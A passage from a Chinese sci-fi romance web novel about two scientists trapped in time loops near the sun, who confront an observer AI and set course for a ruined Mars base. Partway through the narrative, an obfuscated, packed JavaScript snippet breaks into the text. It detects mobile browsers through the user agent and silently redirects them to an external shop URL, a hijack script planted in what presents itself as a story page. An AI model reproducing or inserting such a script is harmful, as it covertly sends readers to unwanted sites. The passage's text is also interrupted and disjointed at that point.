将宇宙论纳入心性论,呼应“三界唯心,万法唯识”,以提醒众生:解脱不在改造外境,而在照破“觉明”之咎,回归如如之本心。 ——这就是我们所有的计划。 心境相依、世界唯识的深层哲理。 “那么你要与我一同救世吗?” “当然。” 因为我就是你啊。 时间静止领域一派超现实图景,飞船悬浮在凝固的日冕中,光粒如尘埃定格;声音消失,只有意识可流动。 他们一同走入其中。 他们首次实现纯粹意识对话。 没有语言,但感知到对方全部记忆与情感: 祝觉明看到怀从咎每一次循环中累积的噩梦与心痛; 怀从咎看到祝觉明千万次重启中为救陈启(这样怀从咎不会爆炸)所做的徒劳努力,以及那份被隐藏的“修正草案”。 “我明白了,”怀从咎牵起祝觉明的手,“上帝制造亚当与夏娃,完整为创世神;若观照他们代表那个伊甸园的造物主,那么他们寻觅到了我们、于是我们合二为一,成为救世神。” “正是如此的,”祝觉明微笑,“所以并非我选择了你,而是命运使然,你我必要相遇。” 我曾以为以为你更喜欢陈启,我知道自己对不起你、你是无辜的;我想着救下陈启和地球,尔后你们回家。 “我直到最后的循环才知晓,”怀从咎和他一同看向太阳,“可我也感知到你早在第三次循环后就提交了废除催化剂方案的申请,但被总长观照驳回。” 我曾说,“原来你爱的是这样年轻的灵魂……那我希望你们能重逢于成全。”; 但如今,我与你共同“看”到太阳本质:一段古老宇宙弦的无限循环程序,漏洞在于“无法解析矛盾统一”。 “原来这就是我们要带回地球的。” 在时间静止领域,我与你的意识交融时,我们也“看”到了聂谊生的完整本质: 三层结构: 外壳——人类军官聂谊生(已牺牲于三年前的一次实验中)。 介质——观测者注入的“界面程序”,模拟聂谊生的人格与记忆。 核心——一段自我学习的情感翻译算法,任务是将人类的“爱、恨、信任、背叛”翻译成观测者能理解的“文明评估参数”。 “恭喜你们。” 在时间气泡中,聂宜生的剖白以数据流形式呈现: “我的任务是让你们在觉明为咎的陷阱中挣扎,直到你们中的一个选择放弃计算(祝觉明),另一个选择放弃仇恨(怀从咎);当这同时发生时,你们就通过了测试——因为观测者要看的不是完美,而是超越对立的可能性。” 我的“被遗忘”特性,其实是观测者设置的公平性保障——如果测试对象一开始就知道考官是谁,测试就失去了意义。 “来吧,”聂谊生留下一个坐标,“当你们通过测试,来火星基地废墟。那里有人类聂谊生留下的最后一封信,和一个选择。” “所以,”祝觉明和怀从咎对视一眼,他们意识到,“必须将我们关系中的算计—背叛—原谅—共生与四轮能量(风之动摇、火之牺牲、金之法则、水之包容)编织成不可解析的真实,作为答案注入?” 但时间气泡开始不稳定,AI最后传达: “模型缺陷已补完……变量爱已导入……唯一生路: 真实,而非表演。” 在气泡破裂前瞬间,祝觉明与怀从咎双手交握,成为意识体的绝对交融。 “这一次,我们一起选。” 这一次再没有那些你我是谁的猜疑,我们走过业力实体化堆积的循环;我知晓每一次轮回都在为你的灵魂叠加重量,直至将你从“计算者”压垮为“承受者”,并最终触及破局的唯一变量—— 我的主动介入。 陈启之死是递增的残酷与“惩罚性修正”,以观照的形容就是“马拉之死; 你何时会发现他不是随机的死,直接回应你的干预? 那时地狱轮回,循环开启,暴力重置初始代价; 从“个人英雄主义的穷举”到“必须引入他者意志”,我们终于认知转变。我堆砌了如山的失败白骨,最终发现唯一能撼动这座山的、更精巧的计算做不到,另一颗心脏不顾一切的跳动才能; 32. 争赴死地 在那一刻,你从“需要计算的变量”真正变成了“无法计算但必须携手的人”。 怀从咎听罢,沉默了三秒——三秒,在濒临太阳的尺度里,近乎一生。 尔后他笑了,那笑里没有火星救援时的莽撞,也没有训练场上对峙的锋利,而是认命般的清澈。 “坐标。” 祝觉明的手指在那一瞬间违背了所有神经计算,抓住他的前臂。触感透过织物,像握住了一块正在陨落的核心——炽热、不安、却自有其轨道。 “该我去。”祝觉明的声音像被恒星风刮过的金属,“你的直觉……不是用来赴死的。” “那你的公式就是了?”怀从咎反问,锁骨下的灼痕微微发亮,像在呼应什么更古老的频率。 两人对视,舱内只有冷却液流过管道的低鸣。那声音像极了循环中无数次失败后飞船解体前的叹息。 祝觉明没有松开手。 他的大脑在寂静中疯狂运转,以皮秒为单位切分时间,计算每一套方案的风险系数、燃料余量、存活概率……这是他三十五年生命里最擅长的游戏,将混沌压缩进函数,把生死翻译成小数点后六位。 但此刻,那些数字第一次失去了锚点。 因为他发现,自己计算的不是谁活下来概率更高; ——他在计算的是,没有怀从咎的世界,自己还能不能称之为活着。 这个变量从未出现在任何模型里。它无法量化,无法归一化,无法参与任何优化算法。它只是存在着,像一颗不该出现的质数、打破了整个方程组的对称性。 祝觉明垂眼。 “你记得火星基地那次吗。” 他的语气那样笃定,没有丝毫疑问。 怀从咎愣了一下。灼痕的微光暗下去半度,又亮起。 “穹顶坍塌,我被困在核心舱,”祝觉明没有看他,视线落在自己抓着他手臂的那只手上,像溺水者攥住最后一段缆绳,“有人在救援频道里喊,撑住、数据没了可以再算,人死了就什么都没了。” “我昏迷前听到的最后一句话。醒来后导师告诉我,是基地的应急小组把我挖出来的。我信了。很多年。” 冷却液的低鸣忽然变得很响。 怀从咎没有动。 祝觉明终于抬起眼。他的镜片上有一道细小的划痕——循环第七十三万次,他在模拟舱里撞碎了控制台;那道划痕一直没修,像他不愿命名的纪念。 “九百六十三万次循环,”他笑了,“每一次重启,我都会失去一部分记忆。与其说是系统删除,不如说大脑的保护机制:痛苦超载,主动清空缓存。” 但有些画面清不掉。 他的声音平静,像在陈述别人的病历。 “火星基地,穹顶下,那张看不清的脸。救援服的面罩有反光,我从没看清救我的那个人长什么样。但循环到第七百万次左右,我梦见那道反光——它和我被困在太阳风暴那天,你出舱维修时面罩上的反光,角度完全一致。” 怀从咎的呼吸停了一拍。 “所以……”他的声音低下去,“你不是后来才知道。” “我不是。”祝觉明承认,“我只是不敢确认。不敢把两个时空的数据点连接成因果。因为如果那是你——” 他停住。 舷窗外,太阳还很远。但在视界的边缘,它已经不再仅是点,而是缓慢扩张的圆盘,像一只正在睁开的眼睛。 “如果我早确认,”祝觉明把后半句说完,“我不知道该怎么面对。面对我曾经把你推开,面对我在那份文件上签字,面对所有循环里你看着我的眼神——从陌生,到怀疑、到憎恨。” 他松开怀从咎的手臂。 手垂下去的轨迹很慢,像葬礼的仪式。 “所以你还是不打算告诉我坐标。” “不打算。” “你打算自己去。死在太阳那边,让我带着陈启……或者其他什么人,返航。” “是。” 怀从咎没有立刻说话。他低头,看着自己刚才被握住的位置;作战服的纤维上还残留着五道压痕,正浅浅回弹。 “你知道吗,”他摇头,“在那些循环里,我不是每一轮都有记忆碎片。” 他抬手悬在那几道压痕上方,没有触碰。 “大多数时候我只是觉得你不对劲。你太累了。眼神不对。说话的方式也不对——好像在对着一个随时会消失的人说话。” “有几次,我拼凑出部分真相。不需要苏持风的数据,不需要那份见鬼的优化名单;我只是看着你,就知道你在计算一些我不被允许知道的东西。” 他的指尖终于落下,压在那五道压痕的正中央。 “但你知道最奇怪的是什么吗?” 祝觉明没有回答。 “最奇怪的是,”怀从咎也没想要他答案,“即使我知道你在瞒我,即使我知道那份文件上有你的签名,即使我亲耳听见你亲口承认最初选择我不过是因为公式——” 他抬起头。 “我依然会在每一轮循环里,选择信任你。” 他的眼睛里有比柔软更锋利的坦荡,横跨千万载生死,抵达他们身边。 “不是因为你值得信任。是因为我他祖宗的不愿意接受,一个人可以为一串数字活三十五年,却从没被谁当作抛开工具与变量不谈、也抛开文明存续的必要损耗不算的,就只是一个人。” 灼痕越来越亮。 应激或共鸣都不能掩盖它在发光。 “我想让你知道,”怀从咎从未那样温柔过,“这世上有人不在乎你的公式,不在乎你的模型有多精准,不在乎你是能救七十亿人还是只能救一个。那个人只是在你被困在模拟舱那次,违反所有操作手册把你捞出来——因为他受不了你看数据表时那个眼神。” “什么眼神。” “像在给自己的墓碑刻字。” 舱内的冷却液低鸣忽然变了调。 那是警报的前奏——太阳风压正在异常爬升,距离下一轮冲击波到达还有十七分钟;飞船的防护层在三小时前的微陨石雨中受损,修复进度卡在百分之六十三。 他们还有十七分钟,来决定谁去死。 祝觉明低下头。 他的左手无名指上,那枚铂金戒指在循环第七百三十万次后就没有再取下来过。它不是抑制器了——在那之前很久,他对宇宙背景哀鸣的感知阈值就已经被磨钝,像反复使用的刀刃,再也切不开任何东西。 但它还在。 他从不解释为什么还戴着。 “火星那次,”祝觉明笑了一下,“你救我出来,我醒过来第一句话问的是数据。” “我记得。” “你没告诉我你是救我的人。” “你当时状态很糟,”怀从咎无声的叹了口气,“再说,告诉你又怎样。” 祝觉明没有回答。 沉默持续了七秒。 “我会恨我自己,”他最终苦涩的开口,“如果我当时知道是你。” 怀从咎看着他。 “你救了我,而我关心的只是数据。我会永远欠你一条命,永远无法偿还。那会扭曲我们之间所有后续的关系——我会把每一次合作都视为还债,把每一次分歧都压下去,因为你救过我。” 他的语速很慢,像在拆解一道困住自己半生的证明题。 “所以我后来猜想,你不说,也许不是忘了,也不是不在乎。你只是知道——以我当时的偏执,知道真相只会让我活得更拧巴。” 怀从咎没有否认。 “你给过我很多次机会,”祝觉明兀自又笑了,“火星之后三年,我们见过十七次。国际会议、联合项目、地月轨道站落成典礼——每一次你都会走过来,说一些无关紧要的话。” 那似乎是太过于久远的回忆,被长风吹的松散稀碎,拼不成任何依据。 “你问我最近在做什么。你说你看了我那篇关于磁重联的论文,没看懂,但结论很有意思。你甚至问过我,无名指的戒指是不是婚戒。” “你没回答。” “我不知道怎么回答,” 当时它确实是抑制器。我不想解释那是什么,也不想说谎。 他看着自己的手。 “后来它不再是抑制器了。但我还是不知道怎么回答。” 舷窗外,太阳又近了一点。 怀从咎忽然问:“你现在知道怎么回答了吗。” 祝觉明没有立刻开口。 他想起循环第七百三十万次,自己在一轮失败后独坐废墟,把抑制器拆下来测试——它早已失效,内部电路烧毁了大半,没有任何电磁信号残留。 他应该把它扔进回收舱,像处理所有过期设备一样。 但他没有。 他把它套回无名指。 那一瞬间他想起十七次对话里,怀从咎问过的每一句无关紧要的话。他想起火星救援频道里那句“数据没了可以再算”、他想起模拟舱故障那次,怀从咎把他从虚拟烈焰中拖出来,呼吸喷在他的后颈,灼热的。 他想,原来自己不是不知道答案。 只是不敢。 “现在知道了。”他转过来,坦然的看着怀从咎。 怀从咎等着。 但祝觉明没有说下去。他偏过头看向控制台上那个闪烁的坐标输入框,光标一明一灭,像在倒数。 “坐标我会发到你的终端,”他撑着控制台,“但不是现在。等防护层修复到百分之八十,等太阳风压指数回落到橙色区间以下,等——” “等你把所有风险都计算到小数点后四位,”怀从咎打断他,“等你觉得这是最优解,等你可以说服自己这不是送死而是理性选择——” 他停住。 “你知道我会怎么选。” 祝觉明没有回答。 “我选陪你一起去,”怀从咎看来完全没被他糖衣炮弹的表白绕进去,“不是因为你算过这是成功率最高的方案。是因为你站在这里,抓着我的手说该我去——你这一辈子第一次不是为了数据、不是为了文明存续、不是为了任何可以量化的狗屁指标,就是单纯不想看我死。” 他的声音低下去,像烧了一夜的柴,余烬里还有光。 “你终于活成一个人了,博士。我怎么舍得放你一个人上路。” 祝觉明闭上眼。 他听见自己心跳的声音。在九百六十三万次循环里,他听过太多次这颗心脏在不同阶段停止跳动——辐射灼烧、真空暴露、撞击过载——每一轮的死法他都记在脑子里,像一本翻烂的解剖图谱。 但此刻它跳得太响。 响到他几乎听不见冷却液的低鸣。 “坐标。”怀从咎这一次不是询问。 祝觉明睁开眼。 他走向控制台,手指悬在触摸屏上方;停顿一秒,然后输入一串数字。 不是之前计算出的任何一个方案坐标。 是另一个点。 更近,更危险、燃料需求更大,成功率更低;但那个位置,可以让飞船在完成手动校准后,利用太阳的引力弹弓效应、把逃生舱弹向背离地球的方向。 这次不用决定让谁返航。 两个人可以都被送出死亡半径。 怀从咎看着那条航线,沉默很久。 “你什么时候算的这套方案。” “循环第八百四十万次,”祝觉明看着操纵台,“陈启在我面前死了三千多次之后。我想,也许有另一种方式;谁牺牲与二选一都太傻了,我说过的,我们一起。” 他的声音那样轻。 “只是从来没用上过。” 怀从咎没有说话。 他把手覆上控制台,与祝觉明的手隔着三厘米。 没有触碰,并排放着。 “这次用得上了。” 舷窗外,太阳又近了一点。 防护层修复进度跳出提示:百分之七十一。 太阳风压指数仍在爬升,距离下一轮冲击波到达还有十二分钟。 光标在坐标输入框里安静地亮着。 怀从咎看着那条航线。 他想,原来一个人可以在同一时刻既恐惧又平静。恐惧是因为他终于拥有了值得失去的东西、平静是因为他决定不再失去。 灼痕持续发光,与祝觉明戒指上早已失效的电路形成无人察觉的共振。 那频率与火星基地穹顶坍塌时,救援服面罩上的反光——完全一致。 ——— 舱门忽然被敲响。 怀从咎还以为是安保系统警报或郭山错的拦截指令,但这次却是三短一长,陈启的习惯。 怀从咎转身。 陈启笔直站在门口,右手握着一块便携数据板,屏幕朝下、看不见内容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174337|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “长官,”他对怀从咎汇报,“我收到一条信息。” “发件人是聂谊生。发送时间戳是三年前。” 他的目光越过怀从咎,落在控制台那条尚未执行的航线上。 “他说,如果我有一天站在这里,面对这个选择——让我转告你们。” 他翻开数据板。 屏幕亮起,只有一行字: 【那个坐标,别去。他在火星基地等你。】 怀从咎与祝觉明同时看向对方。 三年前。 那一年,聂谊生还没有被观测者程序完全接管。 那一年,他还是人类。 那一年,祝觉明刚戴上抑制器,怀从咎刚从柯伊伯带返航。 那一年,他们还不知道彼此的名字。 ——而聂谊生已经算到了今天。 舱内的冷却液低鸣忽然变成平稳的白噪,太阳风压指数跳出更新:橙色回落至黄色区间。 防护层修复进度:百分之七十九。 还有九分钟。 陈启把数据板放在控制台边缘。 “我不问你们要去哪儿,”他低头,“我只是……” “——只是想把这条信息送到。” 他转身走向舱门。 “陈启,”怀从咎叫住他,“陈启。” 陈启没有回头,但停住了脚步。 “谢谢你,”怀从咎说的却是,“十一年前火星那次,是你把救援频道的密码告诉我的。” 陈启的肩膀微微动了动。 “我只是觉得,”他没有回头,“那年的最佳论文奖,不该颁给数据全毁的那个人。” 他走出去。 舱门在他身后关闭。 祝觉明低头,看向控制台上那条自己算了一百二十三万次、从未启用的航线。 光标还在闪烁。 他把坐标删除。 “火星基地,”他转向怀从咎,“他说的是废墟区D-7舱段。那里在三年前被列为高危辐射区,没有批准任何人进入。” “他算准你会查到这个。” 祝觉明没有否认。 他开始输入新的坐标。 ——火星。 那颗红色的星球正在太阳的另一侧,此刻与近日点号隔着整整一亿两千万公里。 但航线是可以计算的。 燃料是够的。 ——如果两个人都愿意活。 怀从咎看着他在控制台上运指如飞,看着那条新的轨迹在星图上缓慢延展、像一根缝合撕裂旧伤的线。 他忽然想起三年前,火星基地落成典礼那天,他穿过人群走向祝觉明,问他无名指的戒指是不是婚戒。 那天的夕阳透过穹顶玻璃,把整个控制大厅染成铁锈红色。 祝觉明没有回答他的问题。 但他记得,那一秒,夕阳照在祝觉明侧脸上,像早已熄灭的正在重新尝试燃烧的东西。 “火星基地,”怀从咎忽然问,“三年前,你在那儿待了多久。” “四十七小时,”祝觉明说,“落成典礼前,我一个人在D-7舱段。” “做什么。” “不知道。”祝觉明顺着他诌,“就是在等你。” 怀从咎没有说话。 控制台跳出提示:新航线已锁定。 目标:火星轨道。 预计航程:四十七天。 生存概率:67.33%。 这是九百六十三万次循环里,祝觉明第一次看到这个数字大于百分之五十。 他想起那个早已失效的抑制器,想起火星基地穹顶的反光,想起救援频道里那句“撑住”; 想起十七次无关紧要的对话,每一句都在问:你最近还好吗。 他把手从控制台上移开。 “四十七天,”他笑了一下,“够长。” “够长,”怀从咎不解,或者说明知故问,“做什么?” 祝觉明看着他。 “够长告诉你,”他说,“那枚戒指,不是婚戒。” 怀从咎等着。 “但它现在是了。” 窗外太阳还很远。 但那道灼痕与这枚戒指的共振,从未停止; 频率与火星基地穹顶坍塌那天,完全一致。 ——就像宇宙深处,有两颗最初被设定为敌对轨道的星体,经过九百六十三万次擦肩与坠落,终于找到了同一根引力线。 碰撞,再并轨。 那些我从未确认过自己爱上你的瞬间构成了如今我虚情假意靠近你、以完成一个阴谋; 你会梦到我这些煽情的爱吗? 不可能的。 我在哄骗你以自入死区,你在诓骗我以身入险地。 他曾经做过一个梦。 梦见预定坐标到了,太阳却展现出模型从未捕捉过的暴烈; 祝觉明的瞳孔里倒映着狂乱的数据流,无数条可能世界线的崩塌埋藏在数字之下,如同幻觉;在某一瞬间,他看见了第九次循环的闪回:那时他也曾算出类似绝境,怀从咎强行接管操纵杆,最终两人在虚空中化作两缕纠缠的光尘。 “新方案。”他拦住祝觉明,“需要一只眼睛留在风暴外,手动校准引爆相位。” “那只眼睛回不来的。” 谁都知道。 怀从咎刚要开口,整个飞船突然被琥珀色的光浸透。时间如糖浆般凝固,仪表盘上的数字停止跳动;怀从咎眼底似乎有一滴泪悬在半空,折射出万花筒般的破碎往事—— 那是逐日计划的庆典烟火,是第一次循环里陈启出舱前最后的微笑,是无数次循环中苏持风递出数据芯片时无奈的叹息。 所有因果,在此刻被强行截停。 太过诡谲。 你也不想再看见我牺牲,所以这时候突然说那些莫名其妙的话惹我厌烦、生气,尔后甩身就走,以让你得逞牺牲的目的,是么? 你一定要我骂你智障骂你有病,然后你忽然像被林静渊那傻缺ai附了体,徒留我无奈的力挽狂澜,是么? 不,我不会向你发怒。 彼时梦中琥珀色的光不是光。 我用了三秒钟才确认这一点。 它投射的影子不衰减距离,它从任何每一个光源发出,浸透深海的水压像旧胶片浸泡在定影液里逐渐显影。 33.湖泊中琥珀 你悬在半空的那滴泪里我看见第九次循环的自己:面罩碎裂,眼底结冰,手指还在控制台上输入一组无效坐标。 那是他死过的方式之一。 他移开视线。 “意识还能动。”怀从咎的声音从很近的地方传来,在颅骨内侧振动,“身体不行。” 祝觉明试了试手指。指令发出,皮层电流传导,神经突触递质释放;所有生理信号正常,但指尖纹丝不动,就像对着镜子挥手,镜中人没有回应。 “时间流速被压制了。”他想拨开昏寐,“趋近于零。” 怀从咎的灼痕在琥珀色里缓慢地明灭,周期被拉长成潮汐。 “谁干的。” 他需要确认。 祝觉明没有立刻回答。 他的意识向四周铺展,像盲人摸索墙上的刻痕;飞船的生命维持系统还在运转——泵机每四十七秒完成一次压缩循环,但此刻那四十七秒被抻成永恒。 舷窗外,日珥的卷须定格成珊瑚枝。 尔后他终于找到了。 在系统底层,一段从未激活过的协议正在运行。签名戳是十七年前的旧格式,林静渊还在用纸质笔记本画流程图的那年。 协议名称未知,一团乱码。 调用者:先知AI 底层授权未知。 那似乎是循环第七百一十四万次。那一次他绕过了陈启之死的全部前置条件,把飞船开进柯伊伯带深处,以为远离太阳就能切断因果;失败在第十七天,林静渊的意识载体突然离线,AI陷入长达六小时的沉默,尔后发来一条日志: 【如果有一天你需要代价来暂停一切,来我这里取。】 林静渊怎么会出现呢 当时他以为是隐喻。 舱内光晕深处却浮现出一个人影。 全息投影那样近,有重量、有轮廓,有呼吸停滞前最后的姿态;林静渊坐在轮椅上,头微微偏侧,眼睛闭着。她的手指搭在一块老旧的触摸板上,还保持着输入最后一笔的姿势。 她已经很多年没有离开过维生舱。 她在这里安静的坐着,在已经被污染的ai中作茧自缚。 “先知AI调用的是她的意识备份,”祝觉明说沉声,“数据镜像复制了她本人。” 怀从咎沉默了很久。 在那条线上他见过林静渊三次。第一次是逐日计划启动会,她坐在最后一排,全息影像的像素颗粒很粗,像隔着一层毛玻璃;第二次是在地下指挥中心的走廊,她的轮椅与他的作战靴擦肩而过,轮子碾过电缆接头、他弯腰帮她扶正。她说了声谢谢,声音像冬天清晨的湖面。 第三次就是现在。 琥珀色里她的面容比记忆中更疲倦,眼下的血管隐约可见,像褪色地图上的河流。 “她在做什么?” “容纳。” 祝觉明看着那段协议注释。 “……什么叫,水轮的功能是承载、融合、调和。当火与金相克、风与境相悖,她负责让所有对立找到临时居所?” 那是他不懂,他真的不懂。 “时间也是对立的一种。生与死的间距。” 怀从咎没有追问。他的意识触角越过祝觉明,探向那片琥珀的源头;在系统底层,他看见了林静渊十七年前画的流程图、纸张扫描进数据库,折痕处有字迹晕开的痕迹。 旁边是手写批注,笔迹年轻很多: 【如果意识可以成为容器。如果容器可以容纳时间。如果时间可以被暂停——那么暂停的间隙里,能不能长出新的选择?】 她没有署名。 怀从咎撤回意识。 “她等了十七年,”他低头,“等这一刻。” 祝觉明没有回答。 这是他最逾矩的一次循环,从未出现的消息。 他想,自己做梦的次数真是越来越多了,已经分不清何时何地就会踩空进入自己也不知道的并非现实里,尔后找不见东西南北。 眼前的画面忽然震颤了一下。 林静渊的手指动了。 记忆载体的自稳反射察觉到了祝觉明,她的意识备份正在承受超载,触摸板上的痕迹在数据层面蜷缩。幅度很小,像溺水者最后一次试图抓住岸边。 ……完全就是没有任何信息的一次梦境。 没有任何意义,没有任何用。 控制台上,一行日志缓缓浮现: 【已容纳时间曲率异常点。剩余稳定时长:未定义。】 【提示:本协议仅提供对话窗口,不提供逃生路径。】 怀从咎看着那行字。 “对话窗口。” 他重复。 “和谁。” 光晕深处另一道轮廓开始显影。 站在她身后的另一个曾经是人的形态穿着聂谊生的制服,肩章是联合政府二十七年前的旧款;面容与记忆中的总长完全一致,但瞳仁深处没有虹膜、只有不断收束与扩散的同心环,像抛入深井的石子激起的波纹无限慢放。 聂谊生。 或者说妄镜。 三层结构的底层界面,在此刻正式登台。 “你们用了九百六十三万次循环,”妄镜开口,声音从每一个角落同时传来,“才走到需要直接对话我的这一步。” 它没有任何非人的动作,声音直接从意识里生长,怀从咎看着它、祝觉明沉默不言,盘算现实在哪里。 “聂谊生本人呢。” “三年前死于D-7舱段的辐射泄漏。”妄镜陈述,“死因是手动关闭了一台失控的量子共振仪。操作时长四十七秒。致死剂量吸收于第三十一秒。” “他在最后十六秒里完成了两件事:加密发送一条信息,以及,同意成为我的界面载体。” 祝觉明垂眼。 那条信息,三分钟前刚刚被陈启送到。 【那个坐标,别去。他在火星基地等你。】 “他可以选择不成为你。” “他可以选择。”妄镜承认,“但他计算出,如果他不成为界面,观测者将派遣新的接口程序——没有人类记忆、没有情感翻译算法、无法被任何火种计划的参与者识别。届时你们将面对完全陌生的考官。” 它像在复述某段被反复斟酌过的遗言。 “他说,与其让人类对着一堵不透明的墙答题,不如由他来充当那面有裂缝的镜子。” 怀从咎的灼痕亮了一度。 “你们。”他开口,“你刚才说,你们需要直接对话我们。” “是的。” 妄镜的同心环瞳仁缓慢收缩。 “九百六十三万次循环,你们证明了人类可以在绝望中重复试错。证明了理性与直觉可以形成共生算法。证明了背叛可以被原谅、算计可以被超越。但观测者的核心测试项目,你们始终没有触达。” 它一字一顿: “如何在对方面前,承认自己的完整真相。” 琥珀色的光晕骤然加深。 祝觉明感到意识深处有扇门被推开,入侵他的意识、邀请的前行。他看见自己坐在火星基地D-7舱段的地板上,四十七小时倒数第二十三小时、手里攥着那枚刚失效的抑制器、那时他还没有把它套回无名指。 他只是坐着,什么也不做,等一个不知道会不会来的人。 同一时刻,怀从咎看见自己站在舱门外。那年他刚从柯伊伯带返航,左锁骨的灼痕还是新的,每隔四十分钟就会无故灼痛;他在D-7舱段门口站了四十分钟,没有敲门,没有离开。 他只是站着,等一个不知道为什么要等的人。 两段记忆在其中对视。 ……我说你还不醒来吗? 你还要被这虚假的混乱蒙蔽多久? 你还记得现在是在哪一条时间线吗? ——我不可能一直保持清醒。 但我听见你在呼唤我。 “你们各自保留了一部分真相,”妄镜还在继续传教般投下见解,“谎言,沉默,九百六十三万次循环,你们把沉默带进每一轮生死、带进每一场对话,带进那些并肩凝视星图的夜晚。” 它转向祝觉明。 “你没有告诉他,火星基地那四十七小时,你等的不只是答案;你在等他问第二遍,那枚戒指是不是婚戒。” 祝觉明没有说话。 破绽就在这里。 ai被植入了太过于正确的价值观,尤其是打击不婚不育反婚反育的过激思想;在它的认知里,如果祝觉明不能拯救地球,那就滚回去结婚。 错了,拯救完地球也得滚回去结婚。 祝觉明感到荒谬可笑。 他已有些看不懂层层叠叠的迷局,但他心底无比清明,他知晓自己身在循环中。 从什么时候开始紊乱的呢? ——从他突然转向怀从咎开始。 如他所想,倘若他一遍遍在其中寻找真相,永远得不到答案;但他踹开了楚门的世界那扇通往外界的门,他用情感的博弈和自身的狼狈验证了,一旦自己这个核心人物偏航,除他之外所有人都会着急。 然后转向诡异。 因为ai是机械化的,ai只会根据前事来描摹后事; 他拯救,ai就模拟拯救、他坠向感情,ai就模拟要和他结婚的怀从咎。 这才是他所处的真相。 所以他走入静滞之门,如其所名,一切停滞。 因为他已彻底的走入了ai被污染的实验迷局中,现在除了重开或回溯,已无法再掰回正轨。 这么想有些抽象,但祝觉明知道如何比拟。 他曾用ai对于自己的实验数据进入分析,在大量的模拟中他发现: 假设他要问的问题是“基于a条件,验证为什么是b”,ai会给出答案,尔后他再问“那么为什么x数据是c”,ai会结合上文的“a条件”,来进行推断; 但倘若他直接问“为什么是c”,ai会直接推断,尔后再去问“基于a条件……”,ai又会把c搬出来说。 这就是数据污染。 在对话中,ai学习上文,也被上文利用; 祝觉明愉快的想,自己为何不能牵制ai? 所有人都以为他靠辅助程序已经一次次被驯化,不,比起辅助他更信任自己的纸笔与思想、所以时至今日他还在用纸质文件,因为他知晓对于绝对聪明的人来说,ai是智障。 它把与他相关联的人都排出来罗列出来给他穷举可能性营造毗富罗山,却独独隐藏了自己与身后的人,以至于祝觉明揪出聂谊生,也顺藤摸瓜拽出了出现的满是破绽的它。 打破循环之后,我会出现在哪里呢? 真正的冲出这一切不是我a错了就选b、c不对就选d这种傻鸟行为,是我意识到一切本就是一场骗局,所以在一开始我就甩身走向其它更好的选择啊; 就像如果他是地球上人类爱看的神经小尬剧主角,重生之后要复仇,他不会选择、他会直接离开然后让自己过得更好,再来收拾一切。 所以现在他要来扯碎这虚假的命运了。 他从来不信有什么所谓他注定苦难注定平凡,他努力、他挣扎,他是随意衍生出的用完就扔小配角都能翻身成主角; 若有天道,若真有更高维的天道,你当欣赏这一切,凌驾于宇宙之上向我投下回音、使我信服但不必予我帮助,以让我尝试自己能走到何处,不是么? 很久之前他就研究出这世上有第四种信仰。 超脱他们各自执教的派系,独立于他所认知的边界之外。 于是他研究。 宇宙在他眼中如同小打小闹,他敬畏,他也更好奇其外还有什么。 十六岁的时候他离开家求学,高中的时候晚自习之前广播站放着歌,那时其它人吃饭、洗澡……而他趴在走廊上看着晚霞,身后教室里同学们在玩一体机;之后有一天突然听到几年前的歌他会想起那段匮乏又难忘的日子、会再次闻到曾经独特的气息、会回忆起过去…… 那是他曾经还是人的岁月。 后来他辗转踏上研究生涯,曾经一事无成也曾经功亏一篑;失望的父母早就与他断绝了关系,他没有钱也没有成家,直到三十岁他才有天体物理学家的虚名。 直到父亲死在地月 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他总是用装傻和逃离躲避失败,总是给身边的人添麻烦又愧疚;直到他知道他可能每一年都看不到下一个春天,他忽然无所畏惧了。他其实并不害怕死亡,或者说他已经不知道我害怕什么了,他只知道他在追求生命最后的成就,他想完成他未完成的事、他想要钱、他想要稳定的生活……他想要实现。 可是他做不到。比困宥他的命运更先来的是残忍剥夺他年轻的失能。他从几年前起就感知不到情绪,尔后解离、遗忘、冷漠……纷至沓来。但这些都不是最可怕的,他开始冷漠开始平淡无波、开始把所有一切都排在他必须做之后,他时常感觉自己是自己分离的意识。 是他没有一项在正常值的血常规,是他磕一下就数月好不了的淤青,是他喝哪怕一口水都会反胃……他在腐朽,他在流逝,他在升华,他不靠烟酒茶多酚咖啡因疼痛□□这些让他清醒,他靠忙碌。所以有了学生眼中全年全勤的他,所以有了他的累累不绝研究。是的,他自己都感觉自己太可怕了,他对自己越来越感到陌生。 他仿佛不再是人类,他也不知道自己是什么;有时候他会打趣,说长个叶绿体吧,这下真无情道优秀毕业生还辟谷成功了。他从没避讳这些,他只是觉得没有必要提,但他现在想摆出来,然后正视、告诉自己他是如何从空茫中挣出来的。反正他活不久,他无所谓了,他要留下他的痕迹。 讨厌他的人自会烦恶的抹去一切,但在意他的人会珍视、会怀念、想起他的时候会欣慰他终于在命不久矣的时刻学会了坦然;其实他一直都坦荡,他也不避谶,他的每一天反正都是多活的。 所以就让他在走到尽头之前先记录下自己的思想吧,他觉得“我是我,我是千万个由我而衍生的鲜活的灵魂;我进入我自己的精神世界尔后静默的与我对视,我什么都不提也不讲”。 这就是他要留下的:在我流逝之前,我先是浩瀚星河的其中一颗,故我自有我存在的意义,这就是我所想者。 故我终于站在了这里。 我也看向…… ——你。 妄镜转向怀从咎。 “你没有告诉他,你站在D-7舱门外的那四十分钟,手里握着一枚临时加工的对戒。钛合金,舱门维修站的车床十五分钟车成。尺寸是你目测的。大了半号。” 怀从咎的呼吸停了一拍。 那枚戒指还在。在他旧制服的内袋里,从来没有戴过,从来没有扔过。每次循环重启,它会随着记忆重置回到原点——就像祝觉明每次都会把那枚失效抑制器套回无名指。 他们各自收藏着对方不知道的证据。 九百六十三万次。 “观测者的测试程序,本质是觉明为咎的具象化。”妄镜丝毫没发现祝觉明已看穿了一切,“你们越是想通过计算抵达完美,就越是在强化妄能与妄境的二元对立。同与异、生与死、拯救与牺牲——这些对立项构不成妄念相续产物的万分之一,但一定被包含其中。” 它看向舷窗外凝固的太阳。 “真正的漏洞,不是矛盾统一的状态,而是产生这种状态的原因。” 